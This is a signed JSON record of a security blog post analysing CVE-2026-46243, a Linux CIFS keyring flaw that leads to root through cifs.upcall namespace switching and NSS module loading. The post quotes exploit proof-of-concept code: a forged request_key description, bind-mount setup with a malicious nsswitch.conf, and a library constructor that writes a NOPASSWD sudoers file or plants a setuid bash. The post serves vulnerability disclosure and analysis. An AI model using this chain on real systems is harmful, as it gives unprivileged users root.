-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The cifs.spnego key type was registered as a public key type\n\n`fs/smb/client/cifs_spnego.c` opens with a file header crediting Jeff Layton, Red Hat, 2007. The struct that registers the key type is twelve lines from the top:\n\n```c\nstruct key_type cifs_spnego_key_type = {\n\t.name\t\t= \"cifs.spnego\",\n\t.instantiate\t= cifs_spnego_key_instantiate,\n\t.destroy\t= cifs_spnego_key_destroy,\n\t.describe\t= user_describe,\n};\n```\n\n`init_cifs_spnego()` calls `register_key_type(&cifs_spnego_key_type)` during module initialization. Once registered, the key type is addressable by any caller of the `request_key(2)` syscall. The kernel keyring infrastructure does not partition registered types by who registered them. The syscall accepts a key-type name from userspace, looks up the matching `struct key_type`, and proceeds.\n\nThe kernel has exactly one in-tree caller for this type. `cifs_get_spnego_key()` lives in the same translation unit and runs during CIFS session setup when the mount uses Kerberos. The function formats the description from fields the kernel owns:\n\n```c\nsprintf(dp, \"ver=0x%x;host=%s;\", CIFS_SPNEGO_UPCALL_VERSION, hostname);\n/* ... */\nsprintf(dp, \";uid=0x%x\", from_kuid_munged(&init_user_ns, sesInfo->linux_uid));\nsprintf(dp, \";creduid=0x%x\", from_kuid_munged(&init_user_ns, sesInfo->cred_uid));\n/* ... */\nsprintf(dp, \";pid=0x%x\", current->pid);\n\nsaved_cred = override_creds(spnego_cred);\nspnego_key = request_key(&cifs_spnego_key_type, description, \"\");\nrevert_creds(saved_cred);\n```\n\n`spnego_cred` is a kernel credential set, prepared at init from `init_task`:\n\n```c\ncred = prepare_kernel_cred(&init_task);\n/* ... */\nspnego_cred = cred;\n```\n\nThe credential exists so kernel CIFS can address its own private keyring (`.cifs_spnego`). The override-revert dance is keyring lookup hygiene, not a security boundary. Pre-patch, the keyring infrastructure did not ask anyone who was holding the description that came in on the syscall. There was no place to ask.\n\nThe May 2026 patch adds the place:\n\n```c\nstatic int cifs_spnego_key_vet_description(const char *description)\n{\n\tif (current_cred() != spnego_cred)\n\t\treturn -EPERM;\n\treturn 0;\n}\n\nstruct key_type cifs_spnego_key_type = {\n\t.name\t\t = \"cifs.spnego\",\n\t.instantiate\t = cifs_spnego_key_instantiate,\n\t.destroy\t = cifs_spnego_key_destroy,\n\t.describe\t = user_describe,\n\t.vet_description = cifs_spnego_key_vet_description,\n};\n```\n\n`.vet_description` runs inside `request_key(2)` before the upcall fires. Userspace callers have their own creds. The kernel's own caller has `spnego_cred` because `cifs_get_spnego_key` swapped them in three lines earlier. Userspace gets `-EPERM`. The kernel proceeds.\n\nThe pre-patch struct was a public key type whose only intended caller was its own translation unit. The convention that only `cifs_get_spnego_key` would call `request_key` on this type was held by Jeff Layton's 2007 commit message, by the file's organization, and by the fact that no other in-tree code path had any reason to. The convention was not held by the syscall surface, because the syscall surface does not read commit messages.\n\n## cifs.upcall trusted what request_key sent it\n\nWhen `request_key` does not find an existing key, it fires an upcall. The kernel hands off to `/sbin/request-key`, which reads `/etc/request-key.conf` and `/etc/request-key.d/*.conf` to find the helper for the requested type. The cifs-utils package ships:\n\n```\ncreate cifs.spnego * * * /usr/sbin/cifs.upcall %k\n```\n\n`request-key` execs `cifs.upcall` as root, with the key serial number as `%k`. `cifs.upcall` reads the description out of the key, parses the semicolon-delimited fields, and decides what to do.\n\nThe fields are `ver=`, `host=`, `ip4=` or `ip6=`, `sec=`, `uid=`, `creduid=`, `pid=`, `user=`, and `upcall_target=`. The first eight are inputs to the SPNEGO/Kerberos resolution. `upcall_target=` is a runtime branch in the helper.\n\n`upcall_target=app` tells `cifs.upcall` to do the resolution inside the namespaces of the process that initiated the mount. This branch exists for a real reason: the user's Kerberos credential cache lives in their session, not in init_ns. The session keyring is a per-namespace object. A KEYRING:persistent ccache is rooted in `/run/user/`. File-based ccaches under `/tmp/krb5cc_*` are reachable only through the mounting process's mount namespace. To find the ticket, the helper must enter the user's view of the filesystem and keyring.\n\nSo `cifs.upcall` does, roughly:\n\n```c\nstatic int switch_to_process_ns(pid_t pid)\n{\n\tint user_ns_fd = open(format(\"/proc/%d/ns/user\", pid), O_RDONLY);\n\tint mnt_ns_fd = open(format(\"/proc/%d/ns/mnt\", pid), O_RDONLY);\n\tsetns(user_ns_fd, CLONE_NEWUSER);\n\tsetns(mnt_ns_fd, CLONE_NEWNS);\n\t/* ... */\n}\n```\n\nWhen `pid` is the kernel-stamped PID of the mounting task, this is hygiene. The kernel's `cifs_get_spnego_key` writes `;pid=0x%x\", current->pid`. The PID is data the kernel emits from its own context.\n\nWhen the description is forged via the `request_key` syscall, `pid` is whatever the attacker put there. The PoC's trigger writes:\n\n```c\nsnprintf(desc, sizeof(desc),\n\t \"ver=0x2;host=example.com;ip4=127.0.0.1;sec=krb5;\"\n\t \"uid=0x0;creduid=0x0;pid=%d;upcall_target=app;user=root\",\n\t getpid());\n```\n\n`getpid()`. The PID is the attacker's own. `cifs.upcall` opens `/proc//ns/user` and `/proc//ns/mnt` and `setns()`'s into them. `setns()` into a child user namespace does not change the calling process's credentials. `cifs.upcall` retains its `init_user_ns` capabilities. Every path lookup from this point goes through the attacker's mount tree.\n\nAfter the switch, `cifs.upcall` calls `getpwuid(0)` to resolve the username for ccache lookup. `getpwuid` is glibc. glibc uses NSS. NSS reads `/etc/nsswitch.conf` and `dlopen`s a `libnss_*.so.2`.\n\n## NSS is a code-execution primitive when the mount namespace is yours\n\nThe PoC's namespace-setup sequence is in the trigger binary, after `mount(NULL, \"/\", NULL, MS_REC | MS_PRIVATE, NULL)`:\n\n```c\nmask_runtime_nss_caches(); /* hide /run/nscd, /var/run/nscd */\nbind_nsswitch_config(argv[2]); /* bind argv[2] over /etc/nsswitch.conf */\n\nfor (int i = 3; i < argc; i++)\n\tmount(argv[1], argv[i], NULL, MS_BIND | MS_REC, NULL); /* bind fakelib over /usr/lib64, /lib64, ... */\n```\n\nThe bind-mounted `nsswitch.conf` reads:\n\n```\npasswd: pwn files\ngroup: files\nshadow: files\nhosts: files dns\n```\n\n`pwn` is the name of the attacker's NSS module. glibc resolves it by searching for `libnss_pwn.so.2` under the standard NSS library directories. Those directories are now the attacker's `fakelib/`, courtesy of the bind mounts. `fakelib/libnss_pwn.so.2` was compiled by the PoC from `libnss_pwn.c`. Loading it runs its constructor as root:\n\n```c\n__attribute__((constructor))\nstatic void pwn_constructor(void)\n{\n\tint sudoers_fd;\n\tconst char *comment =\n\t\t\"# cifs.upcall namespace NSS PoC; remove after testing\\n\";\n\n\tmkdir(\"/etc/sudoers.d\", 0755);\n\tsudoers_fd = open(SUDOERS_PATH,\n\t\tO_WRONLY | O_CREAT | O_TRUNC | O_CLOEXEC, 0440);\n\t/* ... */\n\twrite_all(sudoers_fd, comment, strlen(comment));\n\tdprintf(sudoers_fd, \"%s ALL=(ALL:ALL) NOPASSWD: ALL\\n\", SUDOERS_USER);\n\tfchmod(sudoers_fd, 0440);\n}\n```\n\n`SUDOERS_PATH` is `/etc/sudoers.d/cifs-upcall-poc-_`. The path lives in init_user_ns's `/etc/sudoers.d`, because the attacker's mount namespace only bind-mounted two locations, `/etc/nsswitch.conf` and the NSS library directory. `/etc/sudoers.d` is still the host's tree. `cifs.upcall` holds `CAP_DAC_OVERRIDE` in init_user_ns. The write lands on the host.\n\nWhen `cifs.upcall` returns, the host's `/etc/sudoers.d/cifs-upcall-poc-_` is a root-owned file containing ` ALL=(ALL:ALL) NOPASSWD: ALL`. The PoC's outer Python then execs `sudo -n /bin/bash -p`, and the original unprivileged process becomes root.\n\nThe constructor ships a fallback for systems whose sudoers write fails. The fallback opens `/bin/bash`, copies it to `/var/tmp/cifs_upcall_rootsh__`, `fchown`s the copy to root, `fchmod`s it `04755`. The author shipped two roots in one constructor. One of them lands wherever the other does not.\n\n## Internal-only-by-convention, at the kernel-userspace boundary\n\nThe catalog has a pattern called [internal-only-by-convention](/patterns/internal-only-by-convention). Its short description names \"a header, query parameter, or environment input the framework defines as internal-IPC-only, read with security-relevant authority on every inbound network request.\" The \"internal-only\" contract is documentation, not enforcement.\n\nMost exhibits in the pattern wear HTTP. Next.js's [x-middleware-subrequest](/posts/next-middleware-cve-2025-29927-recursion-guard-was-the-bypass) was a colon-separated breadcrumb the framework wrote to itself and read with auth-bypass authority on inbound requests; the convention was held by who happened to know the header's name. MikroORM's [`__raw`](/posts/mikroorm-cve-2026-34220-raw-was-a-property-name) was a string-keyed brand the ORM wrote to its own `RawQueryFragment` objects and read with raw-SQL-inline authority via `isRaw(value)`; the convention was held by whose JSON happened to have that property.\n\nCVE-2026-46243 transposes the same shape onto the kernel-keyring boundary. The `cifs.spnego` key type was an internal IPC channel between kernel CIFS and the `cifs.upcall` userspace helper. Its description fields, `host=`, `ip4=`, `sec=`, `uid=`, `creduid=`, `pid=`, `upcall_target=`, were values the kernel's own caller would fill in from data the kernel owned. The convention that only `cifs_get_spnego_key` called `request_key` on this type was held by Jeff Layton's 2007 commit message, by the file's organization, and by the fact that no other in-tree code path had any reason to call it.\n\nThe convention was held by everything except `request_key(2)`. Once a key type is registered with the keyring infrastructure, the syscall accepts any description string from any process and dispatches the upcall. The infrastructure offers exactly one place to gate the description: `.vet_description`. The cifs.spnego struct had `.describe = user_describe`, a getter for the keyutils command-line tool to print the description, and no setter. For nineteen years the convention was held by who happened to know how to call `request_key` with `\"cifs.spnego\"` and who did not.\n\nThe userspace half of the chain is the same shape's downstream consequence, and it is also where this CVE meets [trust inversion](/patterns/trust-inversion): `cifs.upcall` is the root-running authorizer every distro shipping cifs-utils places between kernel CIFS and the user's Kerberos ccache, and the exploit does not break it, it rides it. `cifs.upcall` could not tell the kernel-stamped `pid=current->pid` apart from the attacker-stamped `pid=getpid()`, because the description is the only channel the helper has for the information, and the channel has no provenance. The kernel-side patch closes the upstream gate. The downstream consumer's trust shape, that every field in the description was written by kernel CIFS, is unchanged. Any future caller in init_user_ns with `spnego_cred` who passes attacker-influenced fields into a description will land in the same helper, on the same setns path, with the same NSS dlopen at the end of it.\n\nThe MITRE record describes CVE-2026-46243 as a \"Linux kernel CIFS vulnerability.\" The kernel-only framing is what makes the userspace half look like a courtesy. The kernel-side patch ships in a kernel changelog, the userspace-side patch ships in a cifs-utils changelog, and a distro that updates one without the other still ships the chain. The pattern is the same as `next-middleware`: the patch closes the demonstrated bypass; the convention that the helper reads attacker-shapeable bytes as kernel-authored is still in the code.","closing_line":"For nineteen years the convention that only the kernel called `request_key` on this key type was held by who happened to know how to call `request_key` on this key type.","hook_md":"Linux's CIFS kernel client registers a key type called `cifs.spnego`. The type's documented purpose is to carry SPNEGO authentication blobs from kernel CIFS to a userspace helper called `cifs.upcall`, which the kernel spawns through `request-key(8)` whenever a CIFS mount needs Kerberos. The kernel formats a description string. The helper parses it. The description carries the PID of the process that initiated the mount, the UID it should authenticate as, the security mechanism, and a runtime field called `upcall_target` that selects whose namespaces the helper resolves Kerberos credentials in.\n\nFor nineteen years the key type was registered with no `.vet_description` hook. Any local unprivileged process could call `syscall(SYS_request_key, \"cifs.spnego\", attacker_string, \"\", KEY_SPEC_SESSION_KEYRING)`. The kernel accepted the description, fired the upcall, `request-key` execed `cifs.upcall` as root, the helper read the PID the attacker wrote and `setns()`'d into that PID's mount and user namespaces. Then it called `getpwuid(0)`. `getpwuid` reads `/etc/nsswitch.conf` and `dlopen`s a `libnss_*.so.2`. The attacker had just bind-mounted both.","post_id":541,"slug":"cifs-spnego-cve-2026-46243-key-type-had-no-vet-description","title":"CVE-2026-46243: cifs.spnego Had No vet_description. cifs.upcall Walked Into the Caller's Namespace.","type":"initial","unreadable_sentence":"For nineteen years the convention was held by who happened to know how to call request_key with \"cifs.spnego\" and who did not."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCap2v7QAKCRDeZjl4jgkQ Jp+TAQD09ZXijSf2I2ypvXpjft3hQoROb/So2RqFN0QQAtxrPQD9EfatY2dNGVe7 tpctSAR61H7xS/zGJLc6tQDVYuTmUAQ= =2Iud -----END PGP SIGNATURE-----